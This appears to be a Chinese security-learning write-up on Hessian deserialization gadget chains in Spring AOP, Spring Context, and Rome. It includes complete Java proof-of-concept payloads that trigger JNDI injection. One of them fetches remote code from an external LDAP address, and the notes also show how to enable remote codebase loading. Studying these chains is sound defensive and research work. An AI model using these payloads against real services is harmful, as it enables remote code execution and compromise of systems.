参考https://su18.org/post/hessian/#spring-context-aop
https://www.freebuf.com/vuls/343591.html
Hessian1在进行序列化时会将序列化的类都转化为Map,反序列化也是将类反序列化后put进入Map中
而Hessian2不会将所有序列化的类都视作Map,在反序列化时也是将数据流中的字段反射写进用Unsafe创建的目标类的实例中。这样的话目标类的readObject,getter/setter,或者是构造方法都不会被直接触发。
但是呢当序列化的类数据类型为Map时,若没有指定Map类型,则会默认当作HashMap处理,并将key,value反序列化之后put进这个HashMap中。而在put时会调用key#hashCode,如果两个key的hash值一样就会调用前一个key的equals方法,参数为后一个key.若Map类型为SortdedMap,则会创建一个TreeMap,而TreeMap在put时会调用key的compareTo方法,所以用Hessian反序列化时链子的入口点应为hashcode,equals,compareTo三者之一。
Hessian还有一个特性是它不完全依赖Serializable接口,即就算序列化的类没有实现Serializable接口在特定条件下也还是能序列化与反序列化,因为 Hessian 提供了一个 _isAllowNonSerializable 变量用来打破这种规范,可以使用 SerializerFactory#setAllowNonSerializable 方法将其设置为 true,从而使未实现 Serializable 接口的类也可以序列化和反序列化。判断是在序列化的过程中进行的,而非反序列化过程,那自然可以绕过了,换句话说,Hessian 实际支持反序列化任意类,无需实现 Serializable 接口。
在 Java 原生反序列化中,在未指定 serialVersionUID 的情况下如果修改过类中的方法和属性,将会导致反序列化过程中生成的 serialVersionUID 不一致导致的异常,但是 Hessian 并不关注这个字段,所以即使修改也无所谓。
在序列化时,由 UnsafeSerializer#introspect 方法来获取对象中的字段,在老版本中应该是 getFieldMap 方法。依旧是判断了成员变量标识符,如果是 transient 和 static 字段则不会参与序列化反序列化流程。
Spring-AOP AbstractBeanFactoryPointcutAdvisor 所需依赖为
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > org.springframework</groupId > <artifactId > spring-context</artifactId > <version > 6.1.3</version > </dependency > <dependency > <groupId > org.springframework</groupId > <artifactId > spring-aop</artifactId > <version > 6.1.3</version > </dependency >
原理 AbstractPointcutAdvisor#equals会调用传入参数的getAdvise()方法
AbstractBeanFactoryPointcutAdvisor#getAdvice调用了自身的beanFactory的getBean方法
如果这个字段为SimpleJndiBeanFactory,就可以JNDI注入
因为要触发的是AbstractPointcutAdvisor#equals,根据HashMap在进行put时是将当前调用当前key的equals方法,参数为上一个节点的key,所以构造Poc时要先put AbstractBeanFactoryPointcutAdvisor,再put AbstractPointcutAdvisor。
本地 这是我初次构造的poc,打算在本地先试试
构造时遇到了几个小问题
Exception in thread “main” org.springframework.beans.factory.BeanDefinitionStoreException: Invalid bean definition with name ‘rmi://127.0.0.1/hello’ defined in JNDI environment: JNDI lookup failed; nested exception is javax.naming.ConfigurationException: The object factory is untrusted. Set the system property ‘com.sun.jndi.rmi.object.trustURLCodebase’ to ‘true’.
这是因为Java 从 JDK 8u121 开始,默认禁用了通过 RMI 的 JNDI 反序列化远程类(这是为了防止反序列化漏洞)。为了让其不报错,我需要在程序虚拟机选项中加上
1 2 -Dcom.sun.jndi.rmi.object.trustURLCodebase=true -Dcom.sun.jndi.ldap.object.trustURLCodebase=true
或者在源代码处加上
1 2 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
必须这两句一起加,少了一句都弹不了计算器,很奇怪(我之前是只加了rmi那一句,才有下面第二个错,两句都加了直接弹计算机了,但是如果不用rmi协议用ldap协议就只需要ldap那一句话,rmi多少有点毛病)
加上选项后又报错Exception in thread “main” org.springframework.beans.factory.BeanNotOfRequiredTypeException: Bean named ‘rmi://127.0.0.1/hello’ is expected to be of type ‘org.aopalliance.aop.Advice’ but was actually of type ‘javax.naming.Reference’
这是因为AbstractBeanFactoryPointcutAdvisor#advice中已经指定了getBean方法的一个参数为Advice.class,所以远程加载必须返回Advice类。
我修改了一下自己写的rmi服务端,发现模块化系统是真烦人,配置半天都没配置好,索性直接用工具了。
远程 本地通了,学习一下远程的写法
远程POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 public class AnswerPoc { public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true ); else if ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static void main (String[] args) throws Exception { String jndiUrl = "ldap://101.200.78.188:1389/iqcsy3" ; SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory (); bf.setShareableResources(jndiUrl); setFieldValue(bf, "logger" , new NoOpLog ());(我发现将这条和下面那条语句都注释了还是能弹计算器) setFieldValue(bf.getJndiTemplate(), "logger" , new NoOpLog ()); DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor (); pcadv.setBeanFactory(bf); pcadv.setAdviceBeanName(jndiUrl); HashMap<Object, Object> hashMap = new HashMap <>(); setFieldValue(hashMap, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); DefaultBeanFactoryPointcutAdvisor defaultBeanFactoryPointcutAdvisor = new DefaultBeanFactoryPointcutAdvisor (); defaultBeanFactoryPointcutAdvisor.setBeanFactory(bf); defaultBeanFactoryPointcutAdvisor.setAdviceBeanName(jndiUrl); Array.set(tbl, 0 , nodeCons.newInstance(0 , pcadv, pcadv, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , defaultBeanFactoryPointcutAdvisor,defaultBeanFactoryPointcutAdvisor, null )); setFieldValue(hashMap, "table" , tbl); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); HessianOutput hessianOutput = new HessianOutput (byteArrayOutputStream); hessianOutput.getSerializerFactory().setAllowNonSerializable(true ); hessianOutput.writeObject(hashMap); byte [] serializedData = byteArrayOutputStream.toByteArray(); System.out.println("Hessian 序列化数据为: " + Base64.getEncoder().encodeToString(serializedData)); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase" , "true" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (serializedData); HessianInput hessianInput = new HessianInput (byteArrayInputStream); hessianInput.readObject(); } }
成功弹出计算机。(还是ldap协议只需要System.setProperty (“com.sun.jndi.ldap.object.trustURLCodebase”, “true”);这一句话,rmi需要两个都为true)
AbstractBeanFactoryPointcutAdvisor是AbstractPointcutAdvisor的子类,DefaultBeanFactoryPointcutAdvisor是AbstractBeanFactoryPointcutAdvisor的子类。
HashMap有两个重要字段,”size”,”table”,size存储的是table中有多少个节点,table存储的是节点数组,Node的构造函数允许设置其hash值,上述代码就将两个node的hash值都设置为零,这样在反序列化进行put的时候就会触发equals。
Spring Context &AOP AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder#toString调用了其属性advisor#getOrder()
所以要找一个实现了Ordered和Advisor接口的类,即AbstractAspectJAdvice
要找实现了AspectInstanceFactory接口的子类,即BeanFactoryAspectInstanceFactory
接下来将beanFactory设置为SimpleJndiBeanFactory,调用其doGetType()(AOP那条链子是调用的其getBean()),完成JNDI注入
但是这条链子的起始点是toString,所以在Hessian反序列化中要找到一个hashcode,equals,compareto这三者之一的入口点,因为Spring AOP链的入口点调用的是getAdvice(),所以在这里并不适用.
入口点为Xstring#equals
调用了其传入参数的toString,很明显只要将PartiallyComparableAdvisorHolder作为传入的参数即可。
payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 package unser;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.caucho.hessian.io.SerializerFactory;import com.sun.org.apache.xpath.internal.objects.XString;import org.springframework.aop.aspectj.AbstractAspectJAdvice;import org.springframework.aop.aspectj.AspectInstanceFactory;import org.springframework.aop.aspectj.AspectJAroundAdvice;import org.springframework.aop.aspectj.AspectJPointcutAdvisor;import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;import org.springframework.aop.target.HotSwappableTargetSource;import org.springframework.jndi.support.SimpleJndiBeanFactory;import sun.reflect.ReflectionFactory;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;public class SpringPHessian { public static void main (String[] args) throws Exception { String url = "ldap://127.0.0.1:8085/frcAHYRo" ; SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory (); AspectInstanceFactory beanFactoryAspectInstanceFactory = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); setField(beanFactoryAspectInstanceFactory, "beanFactory" , simpleJndiBeanFactory); setField(beanFactoryAspectInstanceFactory, "name" , url); AbstractAspectJAdvice aspectJAroundAdvice = createWithoutConstructor(AspectJAroundAdvice.class); setField(aspectJAroundAdvice, "aspectInstanceFactory" , beanFactoryAspectInstanceFactory); AspectJPointcutAdvisor aspectJPointcutAdvisor = createWithoutConstructor(AspectJPointcutAdvisor.class); setField(aspectJPointcutAdvisor, "advice" , aspectJAroundAdvice); String PartiallyComparableAdvisorHolder = "org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder" ; Class<?> aClass = Class.forName(PartiallyComparableAdvisorHolder); Object partially = createWithoutConstructor(aClass); setField(partially, "advisor" , aspectJPointcutAdvisor); HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource (partially); HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource (new XString ("aaa" )); HashMap hashMap = new HashMap (); hashMap.put(targetSource1, "111" ); hashMap.put(targetSource2, "222" ); ByteArrayOutputStream baos = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2Output (baos); SerializerFactory serializerFactory = new SerializerFactory (); serializerFactory.setAllowNonSerializable(true ); hessian2Output.setSerializerFactory(serializerFactory); hessian2Output.writeObject(hashMap); hessian2Output.close(); ByteArrayInputStream bais = new ByteArrayInputStream (baos.toByteArray()); Hessian2Input hessian2Input = new Hessian2Input (bais); HashMap o = (HashMap) hessian2Input.readObject(); } public static void setField (Object o, String fieldname, Object value) throws Exception { Field field = getField(o.getClass(), fieldname); field.setAccessible(true ); field.set(o, value); } public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class [0 ], new Object [0 ]); } public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true ); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true ); return (T) sc.newInstance(consArgs); } public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true ); else if ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } }
利用ReflectionFactory伪造构造函数 可以看到如上Payload有一个creatWithConstructor,接收了四个参数,classToInstantiate(想实例化的类),constructClass(想伪造的构造函数所在的类),consArgType(伪造的构造函数的参数类型),consArgs(伪造的构造函数的实参)。
1 2 3 4 5 6 7 8 9 10 11 12 13 public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class [0 ], new Object [0 ]); } public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true ); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true ); return (T) sc.newInstance(consArgs); }
第10行这条语句创建了一个神奇的Constructor,这个sc虽然是constructClass的构造函数,但是调用sc.newInstance()时会返回一个classToInstantiate类的实例,并且不调用其构造函数,反而调用sc的所对应的构造函数。这样方便我们绕过原本的classToInstantiate的构造函数,更方便地构造序列化对象。
而当我们不想执行任何构造函数时就可以调用Object的无参构造器,不会执行任何操作,只会给你返回你想要的那个对象,就像上面的createWithoutConstructor()。
ObjectInputStream反序列化时其实也是调用ReflectionFactory,创建一个没有初始化的实例(即属性都为null),绕过其本身的构造函数,再通过反射将二进制流的中的属性值反射赋值给这个实例
至于为什么要调用ReflectionFactory而不是直接调用其构造函数构造,因为直接调用其构造函数会触发jndi查询,但是查询完之后会报错,就走不到序列化那一步了。
Rome链 环境:jdk版本小于等于8,rome版本要低,其ToStringBean要有无参的toString方法
Hessian反序列化相关链子中就有一条Rome,刚好之前看到一篇文章也有跟Rome链相关的内容,想着自己试着挖一下加深印象
Hessian反序列化时会将table中的node进行遍历并一个一个Put进新的table中,入口点很明显要么是hashcode,要么是equals
这条链子的核心是ToStringBean
ToStringBean#toString 会获取传入的beanclass的getter方法,并触发obj.getter,但是我用自定义的类进行调试的时候报了跟TreadLocal有关的错,不是很明白。但是是先调用getter再报错,所以无所谓。所以这条链子就是触发目标类的getter方法,现在就要找如何触发ToStringBean#toString.我印象里有两条触发toString的链子,一条是EventListenerList,另一条是BadAttributeException,但BadAttributeException并不可行,因为其必须触发无参的toString,但ToStringBean只有有参的toString,EventListenerList同理。并且在jdk17中BadAttributeException#readObject方法也已改版了,不能触发toString了。
我发现我用的这个rome版本实在是太安全了,网上那些rome链都是用的低版本。
低版本的ToStringBean有两个toString,一个无参,一个参数为String.
低版本的rome链就很简单了,搞这么大半天原来是版本有问题,没有耐心再去把这条链子复现一遍了。
jdk17中删除了JdbcRowSetImpl的class文件,但仍然保存有其源代码,所以能import,但编译时就会报错
jdk高版本真是烦人啊
这条链子的入口点是EqualsBean#hashCode
XBean 几乎和Resin链一样